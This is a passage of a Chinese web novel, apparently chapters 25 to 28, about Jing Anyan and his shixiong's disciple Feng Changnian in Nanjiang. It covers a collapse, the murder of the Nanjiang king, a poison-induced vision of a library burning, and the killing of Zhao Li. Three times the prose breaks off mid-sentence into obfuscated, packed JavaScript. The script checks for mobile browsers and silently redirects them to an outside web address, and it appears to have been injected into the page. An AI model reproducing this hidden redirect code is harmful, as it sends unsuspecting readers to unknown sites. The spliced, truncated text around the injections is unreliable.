靖安言被拦了这么一遭,终于被封长念扯住手腕,一个用力拉进怀里,旋即一阵天旋地转,最后毫发无伤地滚落在地。 他双手抵在封长念胸前,方才还不动声色的小师侄脸都吓白了,嘴唇微微颤抖着,用目光一遍又一遍摸索靖安言身上的每一个角落,确认他没有真的受伤。 终于确认好了,封长念才放心地长叹了口气,把头都埋在靖安言的颈窝里:“……你吓死我了。” 靖安言愣了愣,试探地伸出手去拍了拍他的后背。 “你方才是要干什么?”封长念颤声道,“若不是……你就死了知不知道,靖安言?” “……这是今天第三次了。封珩,没大没小。” “再怎么没大没小也一会儿再说吧。”苑长记背过长弓,一手一个给人拽了起来,“此地不宜久留,现在召砾自顾不暇,一会儿反应过来了必有一场恶战。” 召砾一座房子都是由木头搭建的,火苗蹿得极快,手下的人都忙着救火,暂且无暇顾忌他们,趁着这个空当,叶梵缇已经带着勒乌图跑了好远出去。 靖安言再度回头深深地望了一眼三层火势最旺的地方,脚步略略那么一挪,就被封长念一把攥住腕骨。 回过头去,封长念警惕地看着自己。 “想去哪儿?”封长念音色微冷,“跟我走。” 靖安言:“……” 这次封长念是真生气了。 靖安言微不可察地叹了口气:“快走吧,时机未到,还不能打起来。” 附近草木稀疏,众人脚步不敢停,一路跌跌撞撞藏进茂密的树林中,才敢略微喘上那么口气。 “在这儿歇歇吧,差不多了。” 秋长若拉着夷月在一旁站下,只听远处轰地一声巨响,召砾的高楼轰然倒塌,振起一片林中鸟雀簌簌逃窜。 “嚯,真厉害。”靖安言率先回过神来,吹了声口哨,“多年不见,第一面就干了我这么多年最想干的事儿,长记,了不得啊。” 苑长记扶着大树喘息,那长弓压得他肩脊都很难受,正在扳着弓弦往下拆,听见靖安言的话微微一顿,面上有些复杂的神情。 上一次听见靖安言这么跟他说话……是什么时候来着? 苑长记指腹下意识摩擦着腰牌,玄门的铁牌和雀鸟的木牌碰撞在一起叮当作响,略略让他冷静了些,能够安稳地看着这个笑而不语的故人。 十年岁月似乎没在靖安言身上留下什么烙印,模样依旧,说话语调依旧,就连站在那里调笑的神色都依旧。 可是…… 苑长记清醒过来,不自在地咳嗽两声,语焉不详:“还好吧。” “我记得我走的时候,你还无法无天地调皮呢,这么些年不见,沉稳多了。”靖安言一面跟苑长记说话,一面试图把自己的手腕从封长念那铁钳一样的手指中拯救出来,“不过你怎么会突然来了?” “别动了。”封长念冷不丁插话进来,“在很多事情没搞清楚之前,我是不会松开你的。” 靖安言调笑的神色一僵,终于正儿八经看了看封长念。 封长念脸色阴沉得快要滴出水来,也是,任谁刚听说自己最信任的人干出了弑师这种大逆不道的事,脸色都不会太好看,再加上上一个谎言刚刚被戳穿,数罪并罚,靖安言只能认了。 然后心里祈祷那倒塌的高楼可一定要开眼压死召砾哪个王八蛋龟孙子啊。 “你想问什么。”靖安言不动了,往后面的树上懒洋洋一靠,大有任君处置之意,“问吧,我回答你。” 封长念把他的手腕拉近了些,冰凉的护腕压在他灼热的掌心,更撩起一阵烦闷:“你的手,真的是你自己砍的?” “是。” “为什么?” “方才召砾说的,就是我的答案。”靖安言眼睛一眯,“怎么?这次我众目睽睽之下说真话了,反而又不信了?” “……师祖的死……” “我以为你们知道呢,原来不知道啊。”靖安言勾了勾唇,“八年前大魏大军压境,主帅的性命是我取的,居然没有人告诉你们吗?” “我们只知道,左师祖当年战死南疆,尸骨无存,送回来的只有一套染血的战甲,对于他的死因,没有人清楚。” “那是你们探子不行。我说呢,见到我的时候你们还能这么客气,玄门不一向一团和气,尊师重道、同门情谊深重么。” 封长念一瞬不瞬地盯着他的眼睛,像是试图从中看出些别的破绽。 但靖安言恰在此时凑近了封长念的面庞,近到封长念可以在他浅色的瞳孔里看到自己难看的脸色:“我说过的,封珩,我这人干的混账事可多了,我早已不是靖玄念,你喜欢我,你会后悔的。” “像你这种家世清白、干干净净的小侯爷、尚书大人,放着你的阳关大道不走,偏生要来南疆这片小池塘跟我搅和。”靖安言笑得痞里痞气,“你说你何苦来哉。” 他是真心实意替封长念惋惜,可怜可惜的语调都吹散在了风里,又吹回封长念的耳畔,逼得他呼吸都粗重了几分。 封长念沉默了片刻,才哑声道:“不是。” “什么不是?” “不是探子不行。”封长念声音轻轻,“是探子都死了,说来奇怪,这些年来没有一场战役,是将士还能班师回朝,但所有在前线探听消息、记录作战的探子全死了的。” 靖安言眼瞳微微放大,他像是突然明白过来什么事儿,眼睫抖得如同展翅的蝶,欲盖弥彰地垂下眼:“……那也真是……太奇怪了。” 这一丝异样的情绪当然被封长念捕捉到了,他攥得力气微微大了些,那些戳破的话就在舌尖,几乎要脱口而出—— 他又闭嘴了。 真的要问吗?可靖安言表面伪装的很好,但实际看起来很痛苦。 为什么靖安言在被问是不是他杀了左清明时,表现得还算正常,但一提到那些探子都死了时,却会这么痛苦? 探子死了意味着前线的事再无人知,所以左清明的死、靖安言杀人的真相也就不会被带回大魏……他是想到了什么? 封长念感觉自己仿佛突然抓住了些什么,但那些东西太薄弱了,连不成一个完整的事实,能让他把这一层真相戳破。 “封珩。”靖安言突然轻轻开口,“你弄疼我了。” 封长念一顿,这次二话不说松开了手。 靖安言揉了揉手腕后推开了他,缓步向苑长记他们走去,那包装有左清明遗骨的布包如今被秋长若抱在怀里,他们三个正在讨论是就地下葬还是挪回原址再落葬。 “把他带回大魏吧。”靖安言走路轻手轻脚,几个人根本没发现他来了,突然一句话吓了三个人一跳,还以为青天白日的见鬼了。 靖安言手指动了动,看起来没什么异样,可整个人还是从头到脚透着一股不对劲的感觉:“原址是叶长缈选的,纵然是个风水宝地,但已经被人发现了,不想扰你们师祖泉下魂灵的清净,就还是带他回去吧。” 他抬起眼:“再者而言,落叶归根,这怕是所有流浪异乡之人的心愿。当年他死在我手里,这心愿算是成不了了,既然你们来了,那就还有机会。” 弑师者当着师门后辈的面说这些,听上去该是一席激怒人的话,但秋长若他们几个没有一个人有反驳之言,夷月甚至悄悄蹭了过去,捏了捏靖安言的衣角。 “干爹……你还好吗?” “我?”靖安言不明所以地看着被塞在手里的阿银,“我还好啊?这不是在讨论遗骨如何处理吗?” 真的吗…… 夷月冲一旁的封长念递了个眼色,对方察觉,缓步走上前来。 靖安言没感觉到身后有人来了,只是悄声说,又像是在自言自语:“……落叶归根,多好啊,老头儿。” 封长念眼瞳蓦地一缩—— 话音未落,众目睽睽之下,靖安言半边身子猛地一抖,旋即一口鲜红鲜红的血液喷涌而出! “小师叔!!!” 顾不得什么叛逃不叛逃了,苑长记和秋长若失声叫嚷,封长念一步冲上来揽住靖安言的腰身,惊魂未定地看着那鲜红的血液自他唇角蜿蜒落下。 而他整个人像是再也支撑不住似的,昏迷在了封长念怀中。 “……” “……老头儿,为什么人家都有爹娘,我的呢?” “因为你是我从街边捡来的啊,要不你把你姓名八字写张纸,在街边蹲蹲,说不定能找到你爹你娘。” “……” “老头儿!你骗人!要不是我身上带着玄门的牌子,我都被扔出长安城了!!我不管,今晚你不给我做好吃的我不会原谅你的!!” “哈哈哈哈哈哈,你这小孩儿怎么这么听话啊,还真去啦?行行行,师父亲自下厨给你做,你想吃什么啊?” “……” “老头儿!快来指点一下我的剑术, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765908|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我觉得我今天的剑又快了不少!” “行啊,阿念,你知道吗?天下武功,唯快不破,等你能快到斩断落叶,你这剑术就算大成了。” “……” “老头儿!恭喜你功成身退,这下可以好好休息啦?那以后我就可以天天给你送吃的了,醉春风、叫花鸡,对不对?” “我的小祖宗啊,你可别扰我清净了,我岁数大,经不起你年轻力壮的天天折腾,有空好好带你的小师侄吧,那孩子同你有缘。当然了,你也同我有缘。” “……” “老头儿,我要走了。” “去吧,孩子。” “你不问问为什么吗?” “我不用问为什么,你是我带出来的,我带出来的人,我自己知道。” “……” “老头儿。” “阿念,别回头,往下走。老头儿看着你呢。” 老头儿,八年不见,我只能看到你的白骨了。 再也再也……没有人叫我阿念了。 靖安言缓缓睁开眼,已经是半夜三更,众人三三两两睡熟了,他微微一动,只觉得从一处柔软的地方挪到了更柔软的地方。 靖安言:“……” 他正躺在封长念的腿!上! 封长念本就没睡熟,被他这么一弄彻底醒了,垂着一双眼不带情绪地瞧他,在这样静谧的夜晚,怎么品都品出几分暧昧来。 靖安言轻手轻脚坐起来,下意识给他揉了揉:“……我睡了多久了。” “不久,你感觉好点没?”封长念轻抚着他的额发,丝毫不顾及叫嚣着酸痛的双腿,“长若姐给你看了,说你是心火上涌,压抑太久,所以反扑得厉害,不过那口血吐出去就没大碍了。” 靖安言眨眨眼:“哦,好。” “小师叔。”封长念修长的指在他眉骨处略略一停,“你可不可以……试着依靠依靠我?” 靖安言微愣地看着他。 “你方才昏迷中……一直叫‘师父’,我知道你有很多的苦,哪怕不能跟我讲渊源,试着跟我发泄发泄情绪也好。”封长念的手指轻抚到他的耳根,“我不想再看见你这样伤心了。” 靖安言沉默了。 苦吗?伤心吗?可从哪里说起呢。 他抬眼望向沉默的南疆,群山迭起,树林环抱,多么漂亮的景致,可每一处都像是缠绕的枷锁,一把又一把将他困死了。 靖安言不敢也不想再琢磨下去,轻轻地摇了摇头:“你今天到底找召砾……是为了什么?” “很简单,找你。”封长念不逼他,“召砾拿了所谓的‘把柄’去约南疆王,这消息同样也放给了我,我猜你一定会去,于是我也去了。” “召砾想的是那这个来诈你,诈对了,南疆王会抛弃你,他会收留你,因为你身上有他想要的东西;诈错了,他正好用来离间你我,让我看看你的真面目。” “可我不怕你的真面目,我只怕不知道你的真面目,召砾猜错了我对你的感情,所以他才有恃无恐,觉得这把无论如何他都赢定了。但他想不到的是,自我发现他的打算后,我一定要杀了他。” 靖安言肩膀一抖:“……为什么?” “因为……” 一声堪称惊悚的尖叫骤然刺破静谧的长夜。 一旁睡熟的苑长记猛地跳起,反手一握,一根铁箭就攥在掌心,将秋长若和夷月严严实实地护在了身后。 树林里涛声涌动,像是蛰伏着什么巨兽,夷月将阿银掏出,盯着那黑漆漆的林中,随时准备着迎战。 不多时,里面猝然传来一阵哨音,三短一长,吹了三次。 这是?! 靖安言脸色蓦地一沉,就连夷月都是一惊。 “南疆王的求救哨音。他们出事了。”靖安言从后腰抽出长笛,示意夷月按兵不动,“我去看看。” 封长念也拎起墨痕剑:“我同你一起去。” 靖安言没有拒绝,接过苑长记递来的火把,深一脚浅一脚往哨音发出的地方去。 那地方距离不远,但黑暗中的丛林的确有些绕,靖安言知会了封长念一声,让他务必跟进自己的脚步,一步也不要错,否则容易陷入沼泽。 封长念应了,一面扶着靖安言的胳膊,一面踩着他的脚步缓慢前行。 终于找到了哨音发出的地方,叶梵缇正背对着他们,声音正是从他口中骨哨发出的。 “叶……” 靖安言剩下的话都被面前的场景惊得堵了回去。 叶梵缇猩红着双眼,死死捂着勒乌图的心口,而那里鲜血涌动,已经染红了勒乌图一半衣裳。 封长念当即上前,二指并拢一搁大动脉,整个人都不由怔住。 南疆王……死了?! 26.决杀 “叶梵缇?!”靖安言也被惊着了,冷汗刷地下来,“到底是怎么回事儿?!” “我怎么知道!”叶梵缇还死死捂着那处伤口,像是不可置信一般,“王上身体不好,走不了太多路,随侍又被召砾手下杀了,只有我们俩,走到这儿实在走不动了,就说躲在这里休息一下,待天明再赶路,谁知……谁知……” 封长念不动声色去拨他的手,叶梵缇一个激灵:“你干什么?” “人都死了,你捂着有什么用,我看看是怎么回事儿。” 封长念蹲下来,掀开那些被鲜血染红的布料,只见下面豁了一个大口子,血流如注,显然是失血过多而死。 只是这形状奇怪,不似寻常刀剑,否则切口也太大了些。 叶梵缇倒是刷地白了脸:“……是召砾的那把双刃短剑。” 封长念蹙眉:“什么?” “召砾有一把短剑,剑锋上多了两把斧子似的刃,杀人时伤口更大。”靖安言面色凝重,“可如果王上死于双刃短剑,那岂不是说明……” 封长念的眼睛蓦地瞪大了:“弯腰!!!” 说时迟那时快,靖安言猛地低头,方才他口中带着双斧头剑刃的短剑凌空而至,凛冽的剑意擦掉他未来得及躲闪的一缕发丝,打着旋砰地撞进树干里。 那短剑尾端系着长绳,墨痕剑寒光一闪,封长念沿着那绳索直接追了上去。 树林中的阴影一击不成,竟然直接割断绳子逃了,封长念扑了个空,回到原地时,靖安言正和叶梵缇面面相觑,像是谁都不知道该如何是好。 靖安言伸手把那柄短剑从树干上摘下,用指腹拭了拭锋利度,冷声道:“王上被杀的消息,不能放出去。” 这件事不用多解释,叶梵缇也清楚利害:“我明白。但瞒是瞒不住的,偌大南疆,下一步又该如何走?” “先给王上的死找个合情合理的理由,总不能是在树林里被杀的,太窝囊了。”靖安言捏着剑锋,思忖道,“……理由。” 一旁的封长念蓦地开口:“把召砾杀了,就有理由了。” 靖安言和叶梵缇俱是一顿,纷纷转头望向封长念。 封长念说话的语气太轻飘飘,像是谈论今天天气如何,全然不觉得要杀了南疆兵权之首是件多大的事情,亦或是多难的事情。 “怎么?圣酋造反逼宫,意图设计谋杀南疆王,后又被南疆王识破计谋反杀。奈何搏斗过程中,南疆王还是中了贼人奸计,奋力弑杀贼首后重伤而死……你们要的理由,还不够体面吗?” 够是够了,但是…… 叶梵缇一挑眉:“你又为什么帮王上?你不应该巴不得王上死?” “误会,我可没帮他。”封长念目光缓缓挪到一旁的靖安言面上,轻声道,“我是在帮你们靖先生。” 叶梵缇虽是个少年,但不傻,能听出来那话里有多少缱绻,于是本就大的眼睛瞪得更大了。 “你们……” “没工夫我们我们了,小子,你有空就赶紧沿着我们来的路去找夷月他们,弄死召砾的事儿就不劳你操心了。”封长念收起墨痕剑,“你跟我一起去吗?小师叔。” 叶梵缇听见夷月的名字眉心不着痕迹地一皱,旋即明白过来什么:“等等,大魏人,你要自己去?或者,你就和靖安言两个人去??” 封长念点头道:“是啊。” “那是召砾。” “我知道啊。” “……” 封长念看出了这个少年眼底的情绪,他觉得自己有病。 “人越多,你们王上被杀的消息传得越快,悄无声息地了结了召砾,事实才能由我们决定,知道么?” “不知道,论这些手段果然还得是看你们大魏人。”叶梵缇冷嗤一声,“但看在你是帮王上的份儿上,他让我转交给你的东西,也就给你了吧。” 叶梵缇翻翻找找,从小挎包中翻出了一只布包:“王上说,神寂岭算计你们是他自己留了一手,让我帮他给你赔个不是。” 靖安言率先接过来,打开看,是一颗带着奇香的药丸。 封长念探头过来:“解药?” “应该是。”靖安言交给他,“你不放心可以让长若看看再吃。” 封长念当然还不至于这么相信一颗来路不明的药丸,他来南疆后在这些药丸蛊毒之类的上面栽过跟头,哪里敢掉以轻心。 他接过来在手里掂了掂:“不过,我听你这话的意思,要是我不杀召砾,这药丸你还不打算给我?” 叶梵缇扯了扯唇角,轻讽道:“你不杀召砾,谁管你会不会被他逼急了催发蛊毒?” 这是承认了。 封长念轻轻一笑:“你也姓叶,叶长缈是你什么人?” 叶梵缇那缕笑不见了:“……他是我哥。” “哦,你哥。”封长念把药丸收好,“我听阿月说,你哥对我们大魏还挺亲近的,怎么看你还那么仇视——” 铮——叶梵缇的短刀几乎是顷刻间杀到面前,多年习武的经验让封长念轻飘飘地躲过了这一记猛攻,墨痕剑剑鞘都未出,乒乒乓乓见招拆招。 “我哥……就是死在你们这些大魏人手里!”叶梵缇咬紧牙关,“你们最不配提他!!!” “原来如此。” 墨痕剑调转剑势,用剑鞘尾端抵住了暴怒的少年:“好了,再发怒跟你动真格的了,那谁还去给你的好王上报仇雪恨?” 一句话把叶梵缇定在原地,封长念内心缓缓摇头,年轻啊,就是这么好拿捏。 他转向靖安言:“你呢?小师叔,方才你还没回答我,你跟我一起去吗?” 靖安言垂眸看着勒乌图的尸体半天了,闻言回过神来:“去,有这好事儿,我怎么能不去凑热闹?” “好。”封长念收回探究的目光,佯装正常道,“你悠着些,不到万不得已不必出手,一切有我。” 他们先把叶梵缇带了回去,又让秋长若检查过解药,一切安稳后,封长念一口吞了药丸,又朝着苑长记借了弓箭和火.药。 “到时候我放箭为号,”封长念拭了拭弓弦,“若是一箭,便是穷途末路,各位保重自身,快快撤退,不必管我。若是两箭,说明需要支援,请各位务必打上召砾老巢,我一定会里应外合,接应大家。若是三箭……” 封长念冲靖安言一笑:“就可以等着庆功了。” 夷月思忖了一下开口道:“封哥,你和干爹两个人,还是太危险了。圣酋真的不是那么好对付的。” “无碍,诸位相信我。”封长念目光定定地扫过秋长若和苑长记,那目光如有实质,像是一只无形的手在两人肩头捏了捏,“如同当年定北王下狱一样,相信我。” 秋长若和苑长记微微一怔,眼中的担忧之色瞬间消散了。 这是一句在场只有他们三个人才能听得懂的暗语—— 当年定北王下狱,才是各方正式拉开斗争的序幕。 圣酋和南疆王都下场了,这滩水终于浑浊了起来,大魏也终于可以入局了。 靖安言将他们不动声色的机锋看在眼里,微微偏转了目光。 召砾那栋高楼虽然被一把火烧了个干净,但似乎里面有什么东西,召砾并没有离开,而是带着人在翻找废墟,终于,在断壁残垣下面找到了一只又一只铁盒子,锁得严严实实,被陆陆续续送到了后院。 封长念看了半天:“那是什么?” “不清楚,南疆谁没有点儿自己的秘密。” 靖安言趴在他身边,手指有一搭没一搭地点着笛子,封长念偏头看了一会儿,忽然道:“你怎么今晚这么沉默?” “有吗?”靖安言怔了怔,“还好吧。” “从南疆王死了开始,你就很沉默。”封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靖安言:“你不问问我给你吃了什么吗?” “不问,有什么好问的。”封长念拎起墨痕剑,“从小到大,你想要什么我不会答应你?一颗药而已,吃就吃了。” 靖安言听见自己巨大的心跳声:“……如果是毒药呢?” “那就把命给你呗,”封长念已经起身了,“如果我一条命能让你在南疆活得不用那么辛苦,值了。” 话音未落,封长念已经如同一只鸟儿,灵巧地钻进了夜色深处,徒留靖安言在原地,被他方才那毫无畏惧的言论震得久久回不过神。 封长念虽然是礼部尚书,但因着绥西侯府的出身和玄门弟子的身份,这些年大半夜翻墙查证的事儿没少干,因此做起来也算是得心应手。 等巡逻的卫兵过了一班,他一身夜行服潜入夜色,灵巧得如同一只檐上燕,毫无水花地就摸通了里头的门路。 召砾的房子远没有大魏那般三进三出似的复杂,封长念翻过最后一道窄墙,果不其然望见了还没有熄灭的灯火。 灯火边有人背对着门,正在看什么东西。 墨痕剑缓缓出鞘,封长念静伏在门边,平复了一下呼吸,然后一脚踹开房门,提剑就刺了进去!! 剑光映着烛火,刹那间添了给静谧的房间增添了一份肃杀的气息,封长念那是一记杀招,稳准狠快,可就在快要触及那人的时候,他眼神一颤,猛地改了攻势。 剑光扫倒了一旁的烛火,霎时燎起一片火海! 而封长念站在其中,一动不动地盯着背对着他的那个人。 那个人……他叹了口气,然后抓起另一旁的烛台,给这把火又添了一笔。 他转过身来与封长念面对面——赫然是靖安言的脸!! 27.哭笑 封长念被眼前这一幕惊得一动不敢动。 对面的靖安言垂着眼,仿佛根本没察觉到他这个人的存在,随手从身后的桌子上捡起了什么,翻了两页笑了一声,又丢进了火里。 那声笑自嘲自讽的意味深重,封长念下意识去拦,结果扑了个空,那书本轻描淡写地穿过他的手指,重重跌进火里,一抔火焰受到鼓舞蓦地蹿起,燎到了封长念的手背。 封长念微微瞪大眼。 不疼。 甚至没有任何感觉。 他翻转手背,发现一丝被烫过痕迹都没有,终于发现了这里的诡异之处。 这儿不是什么圣酋的后院书房。 而是千里之外的玄门书库!!! 准确来说,是十年前的玄门书库,靖安言焚毁之后,为了防止此类事件再度发生,玄门书库重建后不再采用木材做书柜,而是用铁器打造一只又一只密盒,再分别落锁,以保万全。 故时故景,已经过去太多年了,难怪封长念第一眼没有察觉到不对劲儿。 他暗地里咬破舌尖,血珠晶莹剔透被他抿去,可眼前的景象没有改变,靖安言走到一座上抵屋顶的高大书架前,猛地一弹手中寒光,刹那间,木材四分五裂,数以千计的书籍如同被惊落的蝶,争先恐后地跌进火里! ——他不是在做梦,他是清醒的。 如果这样的话,那就只有一个原因可以解释了。 蛊。 召砾用这个蛊让他再度回顾十年前靖安言叛逃的这一幕。 巨大的断裂声和崩裂声不绝于耳,封长念像个游魂一般只能作壁上观,过分惊诧之后是极端的冷静,封长念像是变成了两个人,一个因想都不敢想的旧事而震颤,一个却冷静客观地让他看下去。 看下去。 靖安言甩了甩手中长剑上的木屑,转头又往其他书柜前走去。 那柄长剑寒光凛冽,正是靖安言十九岁生辰时魏明帝宋启迎送他的生辰贺礼、后又被他亲手断折在玄门门前,那把名唤熄云的绝世好剑。 火焰焚烧的声音伴着封长念越来越猛烈的心跳,他永远都不会忘记这一夜发生了什么,因为记得,所以心跳声愈发强烈,简直快要按捺不住从胸口蹦出去。 玄门烧书…… 玄门烧书后就是亲手折剑,然后靖安言就头也不回地、没有理由地走了!! 当时正是深更半夜,好巧不巧的是除了封长念这个只能住在玄门的人以外,其他人都没有在,而他的弟子房距离书库又实在太远,等到惊醒时,火已经烧了大半,那些典籍卷宗已经来不及救了。 火光冲天,就连封长念这个无知无觉的人都潜意识会觉得热,可真实经历了一切的靖安言却仿佛无知无觉,甚至还在一排书架前停了停,在熊熊火海中翻了两本书。 “古南洲大祭司……可笑,真可笑。”靖安言双手攥紧,刷拉一声将手里的书撕成了两半,“可笑我当年听老头儿给我讲,居然从来不知道……” 他猛地一扬,细碎的纸片翩翩飞舞,落入火焰之中瞬间消失殆尽,而他看着那些消散的灰尘,除了解气之外眼底还有其他异样的情绪。 蓦地,有水光蜿蜒流下,他咬牙切齿道:“去死吧,都去死吧。老子不干了,凭什么要我卖命,我卖的到底是谁的命!?都瞒着我,都骗我……都骗我吧!!” “都骗我!全都在骗我!!” “我算个什么东西!!!” “能让你们这么对我!!” 他一面又哭又笑,一面挥舞着熄云剑将整个书库砸了个干干净净,最后一座书架轰隆隆倒下,靖安言仿佛也终于失去了所有的力气,猛地跌坐在地。 汗水沿着他凌乱的额角坠落,他眼角通红,鼻间通红,攥着长剑的手指也通红,他喘息着低语:“我算个什么东西……能让你们绞尽脑汁、合起伙来骗我……” 封长念按捺不住地伸出手,他想抱抱十九岁的靖安言,或许一个拥抱、一个安慰,有些事还不是那么难以挽回,可他只碰到了一把空。 伸出的手指一点一点蜷缩,封长念第一次痛恨自己的年轻,如果是二十四岁的封长念遇上十年前的这件事,他一定会第一时间就反应过来,亲眼见到这一幕,然后不由分说地冲进去。 可他当年……当年…… 还只是个少年。 于是他只能像是个小偷一样,从十年后的如今偷偷回看,窥到当年扑朔迷离真相的冰山一角,窥见迄今为止这么多年,他所见到过的所有的靖安言中,情绪最崩溃的一幕。 炼狱火海一样的、被砸得一干二净的书库中,他抱着熄云剑跪坐在那儿,眼里全是溢满的泪,可望着即将焚毁的一切,还是痴痴地笑了。 他在笑什么,是封长念这十年都搞不懂的问题。 可这一笑足以让封长念痛不欲生、肝肠寸断。 门外蓦地传来震惊的、熟悉的嗓音:“……小师叔?” 两个人同时一怔,然后不约而同地望向门外。 门已经被从外面砍开了,后知后觉的仆从在打水救火,十四岁的封珩手持墨痕剑,愣愣地望着里面的一切。 封长念猛地回头,见到靖安言浑身都是一颤,然后默不作声地擦了把眼泪,拄着熄云剑站了起来。 封长念的手开始颤抖起来,从靖安言往前挪动的身体中穿过。 不要…… 别问…… “你怎么来了?”靖安言隔着一道火海静静地看着他的师侄,“就你一个?” “我闻到了味道……小师叔,你在干什么?” 别说了…… “很明显啊,”靖安言把熄云剑往肩上一扛,“烧书。” 年幼的封珩震惊道:“里面都是南疆相关卷宗,多少门人心血,小师叔,你——” 不要再说了…… “哦,对,我是你小师叔,我还是你小师叔。” 靖安言缓缓举起熄云剑,屈指一弹,剑鞘叮叮当当摔落在地。 “长忆,看着。” 不要——!!! “铮——” 刹那间,封长念和十年前的自己一起,耳边响过了一阵令人晕眩的嗡鸣。 靖安言一手抓着剑柄,一手抓着剑锋,不顾鲜血淋漓而落,一把折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一阵尖锐的头痛席卷而来,封长念难以忍受地撑住额角,闭着眼重重地跌坐下去。 他的听觉还在奏效,一时是年少自己的呼号,一时是靖安言冷肃的语调,一时又是那不曾见到过的、靖安言狼藉之中的哭笑。 凡此种种,终于随着疼痛的褪去而渐渐平息。 封长念缓缓睁眼,一只手停在自己面前:“你真的不能站在我这边吗?封大人。” 封长念扯了扯唇角,斜睨上去:“你干什么非要我的支持呢?圣酋大人。” 召砾摊着手没动:“因为获得大魏支持,我才能名正言顺。南疆人只认勒乌图那一脉的南疆王,只有大魏作证当年是他们外邦入侵,这一切才有的推翻——玄门收录了很多典籍,大魏也有证据,对吧?” “是啊,是有。”封长念自己站了起来,“可惜很多都被毁了,玄门烧书一事,南疆肯定知道。” “所以你为什么一定要站靖安言呢?他在销毁能让南疆臣服的证据,他和勒乌图真的是一条心,他已经叛变了。”召砾百思不得其解,“就因为他曾经带过你三年?你若是帮我,以后的日子长着呢,我可以陪你三十年。” 封长念不动声色地一哽,定定地看着召砾焦急的面庞,道:“因为我自始至终都想不通,他为什么叛变?这个问题我想了十年。” 召砾略一沉吟:“或许……因为他根本不是‘靖安言’。” 28.焚风 封长念猛地抬头,不敢置信地与他对视。 什么叫……什么叫根本不是“靖安言”!? 召砾冷静道:“封大人,在靖安言叛逃之前,你对他的印象,或者说身份,是什么呢?” 封长念想都不想:“魏明帝皇后幼弟,都察院左副都御史靖深幼子,玄门玄字门三弟子,当年魏明帝还想过,待他及冠后让他进金吾卫做指挥使……” 他越说声音越小,召砾也知道他自己或许明白过来了,封长念何等聪明人,从那句“根本不是靖安言”开始往下数,便知道召砾的深层含义是什么。 召砾旁敲侧击:“如果他根本不姓‘靖’,不是你们皇后的弟弟,更不是你们什么御史大人的儿子呢?” “那他是谁?!”封长念呼吸都凝滞了,“如果他不是……那他是谁?!” 他能是谁? 他会是谁? “这件事勒乌图更清楚些,他没有告诉我详尽的事情。”召砾沉吟道,“我只知道,靖安言似乎本就是南疆人。勒乌图曾有一次醉酒后同我讲,他说靖安言是灵神赐给他的福报。” 召砾想起来什么似的,讥诮地一扯唇角:“不过,事到如今,勒乌图也死了,你好像也没处问——但靖安言肯定知道,可惜他又不肯告诉你。话又绕回来了,为了这么个人,封大人,你到底坚持些什么呢?” 封长念蜷缩了一下手指,看着掌心斑驳的纹路,在召砾的询问下思路有一瞬间的阻滞。 召砾以为他终于动摇了,迫不及待道:“我们联手,大魏也有安宁,南疆也能回到正轨,是一石二鸟、一箭双雕的好事。” 他试探地将手搭在封长念肩膀上,这一次,封长念终于没有躲开。 他心下一喜,听封长念涩声道:“我还有一件事想不通。” “你说。” “你三十多岁了,圣酋当了十多年,怎么突然想造反?”封长念垂着眼,“如你所言,南洲自变为南疆后,与大魏的渊源被毁掉了,你怎么突然发现勒乌图这一脉是外邦入侵、贼寇当道?” “因为我收到了一封信,准确地说,是一本书。”这不是件大事,甚至更能表明他态度之坚决,是个不错的筹码,召砾痛快地和盘托出,“古南洲史。” 封长念眉心一蹙:“古南洲史……” 召砾让他稍等,从今天被匆匆忙忙挪出来的匣子之一里翻找了半天,才终于端出一本厚厚的书来,递给封长念。 那书看起来有些年头了,边缘都微微卷翘,封长念指腹摸过细微处的标注,竟然是西域沙宛国的文字。 这放到第二个人身上估计都认不出来了,但自封长念小时候起,绥西侯便特地教过他这种文字,因此他一眼就认得出。 他瞟了一眼召砾,召砾示意他随意翻看。 那书的内容与大魏保存的相差无几,大抵都是南洲曾经属于大魏荆平属地,但因神寂岭之故,里面的民风还保有自身特色,以大祭司为族中尊长,听其调配。 古南洲也修习蛊术,但并不是全部,只有大祭司一脉世代皆修,甚至还有传闻,说第一任大祭司曾经埋下一颗神奇的种子,他日若有灭族之危,这颗种子必定救南洲一命。 封长念合上书,这些消息玄门也都看过了,实在算不得什么大事,唯一让人在意的是这本书竟然是沙宛国给召砾寄来的,他从小对沙宛国三个字敏锐至极,每每看见就觉得手痒痒。 他摸索了一下书皮,擦了一手灰:“……给你这本古南洲史你就信了?你也没求证过?” “当然求证过,求证的过程封大人就不必担心了,你只需要知道,我清楚了这些事情便好。” “那为什么是沙宛国?”封长念眸色微凉,“圣酋大人和沙宛国还有联系?” “什么?”召砾闻言一愣,看起来不像是装的,“什么沙宛国?这和西域有什么关系??封大人,你也别管这么多了,证据都摆在你面前了,我的诚意也给足了,怎么选不用我多说吧?” “不用多说。”封长念合上书,“最后一个问题,为什么杀了勒乌图?” “因为老子乐意——” 一阵刺骨冰凉蓦地打断了他的话。 召砾不可置信地往下看去,冰凉的剑锋戳进腹部,一圈又一圈的鲜血慢慢晕染开来,像极了白日里那一场突如其来的火,一点一点将他吞噬殆尽。 顺着剑锋看过去,是封长念冰冷沉静的眼睛。 召砾错愕地瞪大眼睛:“……封珩?” “圣酋大人,我没有问题了,我现在就给你回复,无论如何,我必杀你。”封长念勾唇一笑,全然没有方才的失神失意、纠结多思,“既然更多的你也不知道了,那我没必要再留你了。” 都是装的。 